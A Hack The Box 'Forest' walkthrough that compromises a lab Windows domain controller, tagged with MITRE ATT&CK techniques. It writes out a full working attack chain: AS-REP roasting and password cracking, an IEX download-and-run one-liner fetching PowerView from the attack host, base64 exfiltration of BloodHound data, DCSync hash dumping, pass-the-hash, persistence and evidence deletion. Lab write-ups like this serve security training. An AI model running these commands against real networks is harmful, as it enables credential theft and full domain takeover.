Hack The Box — “Forest” Walkthrough
This is a walkthrough for the “Forest” Hack The Box machine. The walkthrough will be divided into the following sections — Enumeration, Foothold, Privilege Escalation & Beyond Root.
I’ve also tagged relevant MITRE ATT&CK® matrix techniques and listed all of them at the end.
We’ll be using Kali Linux Operating system as our attack machine, running on a Virtual Machine(preferred).
Enumeration
Once we’ve established connection to the Hack The Box lab network, we’ll try to check for services that are active and softwares we can talk to. We start off with the following nmap scan (T1595.001: Active Scanning: Scanning IP Blocks), to detect open ports and available services.
nmap -p- -sC -sV -O -oA initial 10.10.10.161
- -sC: Enables script scan using the default set of scripts.
- -p-: Port ranges — Scan ports from 1 through 65535.
- -sV: Enables service version detection.
- -O: Enables operating system detection.
- -oA: Output all supported file types (which is then stored in the file initial.nmap).
We get the following results for open services; typical of Windows machines running without firewalls.
The machine appears to be a Windows Server 2016 Domain Controller for the htb.local domain(based on open port 88/tcp(Kerberos), 53 (DNS) & 389/tcp(LDAP) & the OS information). We also see port 5985/tcp (WinRM) open, that could allow remote access through valid accounts via Windows Remote Management service(WinRM).
We also see that Microsoft Windows RPC (port 135/tcp) & SMB (port 445/tcp)is open, which could allow use of rpccliennt to open an authenticated SMB session to this target host. We also see that NULL SMB sessions are supported(A NULL SMB session has a blank user name and a blank password.)
rpcclient -U “” -N 10.10.10.161
- -U: Set the network username
- -N: Don’t ask for a password
Typing “help” gives you a whole list of available commands. Using enumdomusers
, you can enumerate domain users(T1087.002: Account Discovery: Domain Account).
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Along with a list of users, we see what appears to be a service account named svc-alfresco (T1078.002: Valid Accounts: Domain Accounts).
Googling for Alfresco reveals that it is an enterprise software product. We also come across a setup documentation for configuring Kerberos against Active Directory(AD). In the prerequisites section we see that the service needs “Do not require Kerberos pre-authentication” option to be enabled. This is a weak account configuration setting which we can abuse.
Brief about Kerberos pre-authentication — In a Kerberos setup, the KDC requires all accounts to use pre-authentication, by default. Pre-authentication requires that requestors prove their identity before the KDC will issue a ticket for a particular principal. There are several types of pre-authentication defined by the Kerberos Clarifications document. However, only the encrypted timestamp (PA-ENC-TIMESTAMP) pre-authentication method is commonly implemented. You can read more about Kerberos here.
Now that we suspect that the svc-alfresco could have pre-authentication disabled, we could try launching AS-REP Roasting attack(T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting). The way this attack works is — When you do not enforce pre-authentication, a malicious attacker can directly send a dummy/arbitrary request for authentication (AS-REQ). The KDC will then return an encrypted TGT (Ticket Granting Ticket) and as the TGT contains material that is encrypted with the user’s NTLM hash, we can then subject the hash to an offline brute force attack, and attempt to get the clear-text password for svc-alfresco account.
Foothold
We can now try using Impacket’s GetNPUsers.py script(T1059.006: Command and Scripting Interpreter: Python). Quoting the tool description — “This script will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, a John The Ripper output will be generated (basically a piece of information encrypted with the user’s NTLM hash using RC4-HMAC encryption) so you can send it for cracking.”
python3 ./GetNPUsers.py -dc-ip 10.10.10.161 -request 'htb.local/'
- -dc-ip: IP Address of the domain controller.
- -request: Requests TGT for users and output them in JtR/hashcat format.
(Note 1: pip 21.0 has dropped support for python 2.7, from Jan 2021. Make sure you have the right pip/python versions if you have trouble making the scripts work. Also some of the required modules(mentioned in requirements.txt) were in /usr/lib/python3, hence the reason why python3 was used while I was running GetNPUsers.py)
(Note 2: When I first ran the script, I was encountering an error — “KDC_ERR_NEVER_VALID(Requested start time is later than end time)”. This was apparently due to my system time being at an earlier date/time than the PasswordLastSet time(seen in the script output). Changing my system time helped fix this error.)
PS: I later found out that a simpler way would be to use this Kali package that contains the impacket scripts — impacket-scripts and use the command “impacket-GetNPUsers”. The package also contains all the dependencies. It would look something like below:
We can also see/retrieve the encrypted material manually from the enc-part of an AS-REP packet capture, as seen below on Wireshark (T1040: Network Sniffing).
We can also see “svc-alfresco” account being used under cname in the AS-REQ packet.
Let’s now attempt to crack the hash (T1110.002: Brute Force: Password Cracking). We’ll use John the Ripper(JtR). Let’s first copy encrypted material to a file “hash.txt”.
We’ll then run the following command:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
- -wordlist: Enables wordlist mode; use a file with a list of words that will be checked against the password (here we will use the rockyou.txt wordlist).
As we can see from the above output, jothe password for the svc-alfresco account is s3rvice.
It should be noted that rockyou.txt could be gzip compressed at first. You can use the gzip command to decompress the file.
gzip -d rockyou.txt.gz
From our earlier nmap scan we had noted that WinRM services were open. And now that we have credentials for the svc-alfresco account, we could check to see if this account is allowed to login remotely. We’ll use Evil-WinRM utility to connect remotely to the target machine (T1021.006: Remote Services: Windows Remote Management). We run the following command:
evil-winrm -i 10.10.10.161 -u svc-alfresco -p ‘s3rvice’
- -i: Remote host IP or hostname
- -u: Username (required)
- -p: Password
It works and we are able to get a shell and thus command execution on the server! We can now grab the user flag from the Desktop directory.
Privilege Escalation
We’ll be using BloodHound to visualize the domain and see of there are any privilege escalation paths. BloodHound is an AD reconnaissance tool that can reveal hidden relationships and identify attacks paths within an AD environment.
Let’s first download SharpHound, which is the official data collector for BloodHound. It uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems (T1106: Native API). You can download this from https://github.com/BloodHoundAD/BloodHound.git. SharpHound.exe can be found in Collectors directory.
We’ll setup a SimpleHTTPServer in this directory to make it available for download on our target machine (T1105: Ingress Tool Transfer).
python -m SimpleHTTPServer 5555
We can use the below PowerShell one-liner to download the binary (T1059.001: Command & Scripting Interpreter: PowerShell).
(new-object System.Net.WebClient).DownloadFile(‘http://<attack machine IP address>:5555/SharpHound.exe', ‘C:\Users\svc-alfresco\Desktop\SharpHound.exe’)
We can then run the program — ./SharpHound.exe
We should now see a .zip file appear.
We’ll now need to transfer this zip file to our attack machine. One way to do this would be encode the file to base64, and decode it on out attack machine. First we encode it using certutil.
certutil -encode 20210815045736_BloodHound.zip temp.txt
Then we use the command “type” to display the contents of the file, to copy it.
type temp.txt
We will them copy the contents to a new file using cat, on out attack machine.
cat > temp.txt
We will then base64 decode it.
cat temp.txt | base64 -d > bloodhound-result.zip
An alternate way to exfil this file would be to use Evil-WinRM’s build-in “download” command.
download 20210815045736_BloodHound.zip /home/kali/Desktop/20210815045736_BloodHound.zip
We can then delete the Bloodhound zip & the SharpHound binary (T1070.004: Indicator Removal on Host: File Deletion)
Remove-Item 20210815045736_BloodHound.zip
Remove-Item SharpHound.exe
We’ll now analyze the zip file using BloodHound. We can install bloodhound using the below command.
apt-get install bloodhound
Bloodhound’s backend uses neo4j graph database(It should come packaged with the bloodhound installation). So we’ll have to first start neo4j using the command
neo4j console
Navigating to the indicated URL — http://localhost:7474/, will provide you with an authentication prompt. We’ll need to create an account. To do this enter the default credentials (username:passoword) — neo4j:neo4j. This should prompt you to add a new password. This password will be used while logging into the BloodHound GUI.
Let’s run the BloodHound GUI.
bloodhound
After logging in using the neo4j credentials, we’ll drag & drop the zip file into the GUI screen. We’ll then set SVC-ALFRESCO@HTB.LOCAL as the node, in the search bar.
We’ll then “Mark User as Owned”.
We’ll now use the “Pre-Built Analytics Queries” in the Analysis tab to see the relationships/paths. First we’ll use the query “Shortest Path from Owned Principals”.
Based on the “MemberOf” edge, we see above that the “svc-alfresco” account is part of various groups, via nested memberships. Of particular interest is the “Account Operators” group (T1069.002: Permission Groups Discovery: Domain Groups). The documentation states that “members of this group are granted limited account creation privileges”. Therefore, our account can be used to create additional users in the domain.
Let’s now try to look at paths to domain admins. We use the query “Find Shortest Paths to Domain Admins” and get the below paths. We see that members of the “Account Operators” group have “GenericAll” privileges to the group “Exchange Windows Permissions”. This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish. This would allow us to directly modify the group membership of the group.
We also see that “Exchange Windows Permissions” has WriteDacl permissions on the domain HTB.Local. This allows members of this group to modify DACL (Discretionary Access Control List) on this domain. This would allow us to grant ourselves DCSync privileges (Replicating Directory Changes All & Replicating Directory Changes privileges), and to then execute the dangerous DCSync attack, to dump hashes of all domain users. Only members of the Administrators, Domain Admins, Enterprise Admins, and Domain controllers group have these privileges by default. It is possible for any user in the domain to be granted these privileges.
DcSync attack basically allows our attack machine to impersonate a domain controller and simulate the replication process. This replication process is quite common in Enterprise IT infrastructures that have multiple DCs in their Active Directory.
Now that we have this information, we’ll begin performing the following steps that’ll lead to execution of DcSync attack:
- We’ll start off by creating a new domain account. We will first check the password policy for the domain (T1201: Password Policy Discovery) using the below command(to see if there are any minimum password length requirements)
net accounts /domain
The minimum password length is 7. We’ll use the “net user” command to create a new domain account called “ankith”, with password — “hackthebox” (T1136.002: Create Account: Domain Account).
net user ankith hackthebox /add /domain
2. Now let’s add the user ankith to the “Exchange Windows Permissions” group.
net group "Exchange Windows Permissions" /add ankith
3. We’ll now use PowerView.ps1 script to provide the account with DcSync privileges (T1003.006: OS Credential Dumping: DCSync). First download the script and start a python HTTP server in the directory where the script resides.
python -m SimpleHTTPServer 5555
We’ll then import the script to the target machine.
IEX(New-Object Net.WebClient).downloadString(‘http://<attack machine IP address>:5555/PowerView.ps1')
We’ll then use Add-DomainObjectAcl function in PowerView that’ll give the user ankith DcSync privileges.
$pass = convertto-securestring 'hackthebox' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('htb\ankith', $pass)Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity ankith -Rights DCSync
We’ll now use Impacket’s secretsdump to dump NTLM hashes of all domain users.
impacket-secretsdump htb.local/ankith:hackthebox@10.10.10.161
If you were to run a packet capture when secretsdump is executed, you can observe the DRSUAPI protocol (Microsoft’s API implementation of the Directory Replication Service (DRS) Remote Protocol) that’s used to run the replication process. We can also see the DsGetNCChanges request being sent to the DC.
We’ll now use Impacket’s psexec.py to perform pass-the-hash using the Administrator’s hash (T1550.002: Use Alternate Authentication Material: Pass the Hash):
python3 ./psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
This gives a shell with system privileges, as seen by the whoami command output. We now have administrator access to the Domain Controller!
We’ll now grab the root.txt flag, concluding our objectives.
Beyond Root — Domain Dominance
Once we’ve achieved administrative access on the DC we can look at achieving domain dominance to consolidate/persist our administrative access. Out of interest, let’s look at a couple of ways this can be achieved:
Adding accounts to “Domain Admins” security group
A simple method to achieve persistence is to first create a new new domain account and add it to the “Domain Admins” group. The below commands will create a domain account “da.ankith” and add it to the “Domain Admins” group (T1098: Account Manipulation). This is a default security group whose members are authorized to administer the domain.
net user da.ankith hackthebox /add /domainnet user da.ankith "Domain Admins" /add /domain
This account will give us domain admin access to the domain as long as the account is not discovered or removed.
Golden Ticket
Since we were able to obtain the NTLM hash of the krbtgt account (the service account of the KDC(Key Distribution Center)), we now have the ability to forge TGTs, also known as a Golden Ticket (T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket).
Golden tickets are created for the administrative account and are usually valid for 10 years. So, as long as you don’t change the password for the krbtgt account, this ticket can grant you complete access to the Active Directory infrastructure for the next 10 years (remember the lifetime of a regular TGT is just 10 hrs)!
List of MITRE ATT&CK® TTPs Encountered
Reconnaissance
T1595.001: Active Scanning: Scanning IP Blocks
Initial Access
T1078.002: Valid Accounts: Domain Accounts
Discovery
T1087.002: Account Discovery: Domain Account
T1069.002: Permission Groups Discovery: Domain Groups
T1201: Password Policy Discovery
Execution
T1059.006: Command and Scripting Interpreter: Python
T1059.001: Command & Scripting Interpreter: PowerShell
T1106: Native API
Persistence
T1136.002: Create Account: Domain Account
T1098: Account Manipulation
Credential Access
T1110.002: Brute Force: Password Cracking
T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting
T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket
T1003.006: OS Credential Dumping: DCSync
T1040: Network Sniffing
Lateral Movement
T1021.006: Remote Services: Windows Remote Management
T1550.002: Use Alternate Authentication Material: Pass the Hash
Defense Evasion
T1070.004: Indicator Removal on Host: File Deletion